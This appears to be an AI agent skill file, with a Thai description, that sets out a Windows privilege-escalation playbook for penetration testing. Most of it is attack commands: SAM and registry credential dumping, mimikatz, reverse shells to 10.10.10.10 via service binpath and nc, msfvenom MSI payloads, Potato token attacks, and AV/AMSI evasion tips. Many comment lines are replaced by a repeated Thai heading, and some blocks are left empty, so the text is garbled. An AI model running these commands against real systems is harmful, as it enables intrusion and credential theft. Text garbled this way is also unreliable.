---
name: Windows Privilege Escalation
description: "สกิลสำหรับ Windows Privilege Escalation ใช้เมื่อต้องการแนวทาง ขั้นตอน Template หรือคำแนะนำเชิงปฏิบัติสำหรับงาน IT, SysAdmin, Infrastructure, Security, Network, Server และระบบปฏิบัติการ ในหัวข้อนี้"
metadata:
  author: zebbern
  version: "1.1"
---

# สกิล: Windows Privilege Escalation

## Purpose

Provide systematic methodologies for discovering and exploiting privilege escalation vulnerabilities on Windows systems during penetration testing engagements. This skill covers system enumeration, credential harvesting, service exploitation, token impersonation, kernel exploits, and various misconfigurations that enable escalation from standard user to Administrator or SYSTEM privileges.

## Inputs / Prerequisites

- **Initial Access**: Shell or RDP access as standard user on Windows system
- **Enumeration Tools**: WinPEAS, PowerUp, Seatbelt, or manual commands
- **Exploit Binaries**: Pre-compiled exploits or ability to transfer tools
- **Knowledge**: Understanding of Windows security model and privileges
- **Authorization**: Written permission for penetration testing activities

## Outputs / Deliverables

- **Privilege Escalation Path**: Identified vector to higher privileges
- **Credential Dump**: Harvested passwords, hashes, or tokens
- **Elevated Shell**: Command execution as Administrator or SYSTEM
- **Vulnerability Report**: Documentation of misconfigurations and exploits
- **Remediation Recommendations**: Fixes for identified weaknesses

## Core Workflow

### 1. System Enumeration

#### Basic System Information
```powershell
# สกิล: Windows Privilege Escalation
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
wmic qfe

# สกิล: Windows Privilege Escalation
wmic os get osarchitecture
echo %PROCESSOR_ARCHITECTURE%

# สกิล: Windows Privilege Escalation
set
Get-ChildItem Env: | ft Key,Value

# สกิล: Windows Privilege Escalation
wmic logicaldisk get caption,description,providername
```

#### User Enumeration
```powershell
# สกิล: Windows Privilege Escalation
whoami
echo %USERNAME%

# สกิล: Windows Privilege Escalation
whoami /priv
whoami /groups
whoami /all

# สกิล: Windows Privilege Escalation
net user
Get-LocalUser | ft Name,Enabled,LastLogon

# สกิล: Windows Privilege Escalation
net user administrator
net user %USERNAME%

# สกิล: Windows Privilege Escalation
net localgroup
net localgroup administrators
Get-LocalGroupMember Administrators | ft Name,PrincipalSource
```

#### Network Enumeration
```powershell
# สกิล: Windows Privilege Escalation
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address

# สกิล: Windows Privilege Escalation
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric

# สกิล: Windows Privilege Escalation
arp -A

# สกิล: Windows Privilege Escalation
netstat -ano

# สกิล: Windows Privilege Escalation
net share

# สกิล: Windows Privilege Escalation
nltest /DCLIST:DomainName
```

#### Antivirus Enumeration
```powershell
# สกิล: Windows Privilege Escalation
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
```

### 2. Credential Harvesting

#### SAM and SYSTEM Files
```powershell
# สกิล: Windows Privilege Escalation
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM

# สกิล: Windows Privilege Escalation
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

# สกิล: Windows Privilege Escalation
pwdump SYSTEM SAM > sam.txt
samdump2 SYSTEM SAM -o sam.txt

# สกิล: Windows Privilege Escalation
john --format=NT sam.txt
```

#### HiveNightmare (CVE-2021-36934)
```powershell
# สกิล: Windows Privilege Escalation
icacls C:\Windows\System32\config\SAM
# สกิล: Windows Privilege Escalation

# สกิล: Windows Privilege Escalation
mimikatz> token::whoami /full
mimikatz> misc::shadowcopies
mimikatz> lsadump::sam /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /sam:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM
```

#### Search for Passwords
```powershell
# สกิล: Windows Privilege Escalation
findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config

# สกิล: Windows Privilege Escalation
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

# สกิล: Windows Privilege Escalation
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"

# สกิล: Windows Privilege Escalation
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"

# สกิล: Windows Privilege Escalation
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password

# สกิล: Windows Privilege Escalation
dir /S /B *pass*.txt == *pass*.xml == *cred* == *vnc* == *.config*
where /R C:\ *.ini
```

#### Unattend.xml Credentials
```powershell
# สกิล: Windows Privilege Escalation
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml

# สกิล: Windows Privilege Escalation
dir /s *sysprep.inf *sysprep.xml *unattend.xml 2>nul

# สกิล: Windows Privilege Escalation
echo "U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo=" | base64 -d
```

#### WiFi Passwords
```powershell
# สกิล: Windows Privilege Escalation
netsh wlan show profile

# สกิล: Windows Privilege Escalation
netsh wlan show profile <SSID> key=clear

# สกิล: Windows Privilege Escalation
for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Key" | find /v "Number" & echo.) & @echo on
```

#### PowerShell History
```powershell
# สกิล: Windows Privilege Escalation
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
```

### 3. Service Exploitation

#### Incorrect Service Permissions
```powershell
# สกิล: Windows Privilege Escalation
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv "Everyone" * /accepteula
accesschk.exe -ucqv <service_name>

# สกิล: Windows Privilege Escalation

# สกิล: Windows Privilege Escalation
sc config <service> binpath= "C:\nc.exe -e cmd.exe 10.10.10.10 4444"
sc stop <service>
sc start <service>
```

#### Unquoted Service Paths
```powershell
# สกิล: Windows Privilege Escalation
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\"
wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """

# สกิล: Windows Privilege Escalation
# สกิล: Windows Privilege Escalation
# สกิล: Windows Privilege Escalation
```

#### AlwaysInstallElevated
```powershell
# สกิล: Windows Privilege Escalation
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# สกิล: Windows Privilege Escalation

# สกิล: Windows Privilege Escalation
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi -o evil.msi

# สกิล: Windows Privilege Escalation
msiexec /quiet /qn /i C:\evil.msi
```

### 4. Token Impersonation

#### Check Impersonation Privileges
```powershell
# สกิล: Windows Privilege Escalation
whoami /priv

# สกิล: Windows Privilege Escalation
# สกิล: Windows Privilege Escalation
# สกิล: Windows Privilege Escalation
# สกิล: Windows Privilege Escalation
# สกิล: Windows Privilege Escalation
# สกิล: Windows Privilege Escalation
# สกิล: Windows Privilege Escalation
# สกิล: Windows Privilege Escalation
# สกิล: Windows Privilege Escalation
# สกิล: Windows Privilege Escalation
```

#### Potato Attacks
```powershell
# สกิล: Windows Privilege Escalation
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.10.10 4444 -e cmd.exe" -t *

# สกิล: Windows Privilege Escalation
PrintSpoofer.exe -i -c cmd

# สกิล: Windows Privilege Escalation
RoguePotato.exe -r 10.10.10.10 -e "C:\nc.exe 10.10.10.10 4444 -e cmd.exe" -l 9999

# สกิล: Windows Privilege Escalation
GodPotato.exe -cmd "cmd /c whoami"
```

### 5. Kernel Exploitation

#### Find Kernel Vulnerabilities
```powershell
# สกิล: Windows Privilege Escalation
systeminfo > systeminfo.txt
python wes.py systeminfo.txt

# สกิล: Windows Privilege Escalation
Watson.exe

# สกิล: Windows Privilege Escalation
powershell.exe -ExecutionPolicy Bypass -File Sherlock.ps1
```

#### Common Kernel Exploits
```
MS17-010 (EternalBlue) - Windows 7/2008/2003/XP
MS16-032 - Secondary Logon Handle - 2008/7/8/10/2012
MS15-051 - Client Copy Image - 2003/2008/7
MS14-058 - TrackPopupMenu - 2003/2008/7/8.1
MS11-080 - afd.sys - XP/2003
MS10-015 - KiTrap0D - 2003/XP/2000
MS08-067 - NetAPI - 2000/XP/2003
CVE-2021-1732 - Win32k - Windows 10/Server 2019
CVE-2020-0796 - SMBGhost - Windows 10
CVE-2019-1388 - UAC Bypass - Windows 7/8/10/2008/2012/2016/2019
```

### 6. Additional Techniques

#### DLL Hijacking
```powershell
# สกิล: Windows Privilege Escalation
# สกิล: Windows Privilege Escalation

# สกิล: Windows Privilege Escalation
# สกิล: Windows Privilege Escalation
# สกิล: Windows Privilege Escalation
```

#### Runas with Saved Credentials
```powershell
# สกิล: Windows Privilege Escalation
cmdkey /list

# สกิล: Windows Privilege Escalation
runas /savecred /user:Administrator "cmd.exe /k whoami"
runas /savecred /user:WORKGROUP\Administrator "\\10.10.10.10\share\evil.exe"
```

#### WSL Exploitation
```powershell
# สกิล: Windows Privilege Escalation
wsl whoami

# สกิล: Windows Privilege Escalation
wsl --default-user root
# สกิล: Windows Privilege Escalation

# สกิล: Windows Privilege Escalation
wsl whoami
wsl python -c 'import os; os.system("/bin/bash")'
```

## Quick Reference

### Enumeration Tools

| Tool | Command | Purpose |
|------|---------|---------|
| WinPEAS | `winPEAS.exe` | Comprehensive enumeration |
| PowerUp | `Invoke-AllChecks` | Service/path vulnerabilities |
| Seatbelt | `Seatbelt.exe -group=all` | Security audit checks |
| Watson | `Watson.exe` | Missing patches |
| JAWS | `.\jaws-enum.ps1` | Legacy Windows enum |
| PrivescCheck | `Invoke-PrivescCheck` | Privilege escalation checks |

### Default Writable Folders

```
C:\Windows\Temp
C:\Windows\Tasks
C:\Users\Public
C:\Windows\tracing
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
```

### Common Privilege Escalation Vectors

| Vector | Check Command |
|--------|---------------|
| Unquoted paths | `wmic service get pathname \| findstr /i /v """` |
| Weak service perms | `accesschk.exe -uwcqv "Everyone" *` |
| AlwaysInstallElevated | `reg query HKCU\...\Installer /v AlwaysInstallElevated` |
| Stored credentials | `cmdkey /list` |
| Token privileges | `whoami /priv` |
| Scheduled tasks | `schtasks /query /fo LIST /v` |

### Impersonation Privilege Exploits

| Privilege | Tool | Usage |
|-----------|------|-------|
| SeImpersonatePrivilege | JuicyPotato | CLSID abuse |
| SeImpersonatePrivilege | PrintSpoofer | Spooler service |
| SeImpersonatePrivilege | RoguePotato | OXID resolver |
| SeBackupPrivilege | robocopy /b | Read protected files |
| SeRestorePrivilege | Enable-SeRestorePrivilege | Write protected files |
| SeTakeOwnershipPrivilege | takeown.exe | Take file ownership |

## Constraints and Limitations

### Operational Boundaries
- Kernel exploits may cause system instability
- Some exploits require specific Windows versions
- AV/EDR may detect and block common tools
- Token impersonation requires service account context
- Some techniques require GUI access

### Detection Considerations
- Credential dumping triggers security alerts
- Service modification logged in Event Logs
- PowerShell execution may be monitored
- Known exploit signatures detected by AV

### Legal Requirements
- Only test systems with written authorization
- Document all escalation attempts
- Avoid disrupting production systems
- Report all findings through proper channels

## Examples

### Example 1: Service Binary Path Exploitation
```powershell
# สกิล: Windows Privilege Escalation
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
# สกิล: Windows Privilege Escalation

# สกิล: Windows Privilege Escalation
sc qc MyService

# สกิล: Windows Privilege Escalation
sc stop MyService
sc config MyService binpath= "C:\Users\Public\nc.exe 10.10.10.10 4444 -e cmd.exe"
sc start MyService

# สกิล: Windows Privilege Escalation
```

### Example 2: AlwaysInstallElevated Exploitation
```powershell
# สกิล: Windows Privilege Escalation
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# สกิล: Windows Privilege Escalation

# สกิล: Windows Privilege Escalation
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi -o shell.msi

# สกิล: Windows Privilege Escalation
msiexec /quiet /qn /i C:\Users\Public\shell.msi

# สกิล: Windows Privilege Escalation
```

### Example 3: JuicyPotato Token Impersonation
```powershell
# สกิล: Windows Privilege Escalation
whoami /priv
# สกิล: Windows Privilege Escalation

# สกิล: Windows Privilege Escalation
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\users\public\nc.exe 10.10.10.10 4444 -e cmd.exe" -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}

# สกิล: Windows Privilege Escalation
```

### Example 4: Unquoted Service Path
```powershell
# สกิล: Windows Privilege Escalation
wmic service get name,pathname | findstr /i /v """
# สกิล: Windows Privilege Escalation

# สกิล: Windows Privilege Escalation
icacls "C:\Program Files\Vuln App"
# สกิล: Windows Privilege Escalation

# สกิล: Windows Privilege Escalation
copy C:\Users\Public\shell.exe "C:\Program Files\Vuln.exe"

# สกิล: Windows Privilege Escalation
sc stop "Vuln App"
sc start "Vuln App"
```

### Example 5: Credential Harvesting from Registry
```powershell
# สกิล: Windows Privilege Escalation
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
# สกิล: Windows Privilege Escalation
# สกิล: Windows Privilege Escalation

# สกิล: Windows Privilege Escalation
runas /user:Administrator cmd.exe
# สกิล: Windows Privilege Escalation
```

## Troubleshooting

| Issue | Cause | Solution |
|-------|-------|----------|
| Exploit fails (AV detected) | AV blocking known exploits | Use obfuscated exploits; living-off-the-land (mshta, certutil); custom compiled binaries |
| Service won't start | Binary path syntax | Ensure space after `=` in binpath: `binpath= "C:\path\binary.exe"` |
| Token impersonation fails | Wrong privilege/version | Check `whoami /priv`; verify Windows version compatibility |
| Can't find kernel exploit | System patched | Run Windows Exploit Suggester: `python wes.py systeminfo.txt` |
| PowerShell blocked | Execution policy/AMSI | Use `powershell -ep bypass -c "cmd"` or `-enc <base64>` |
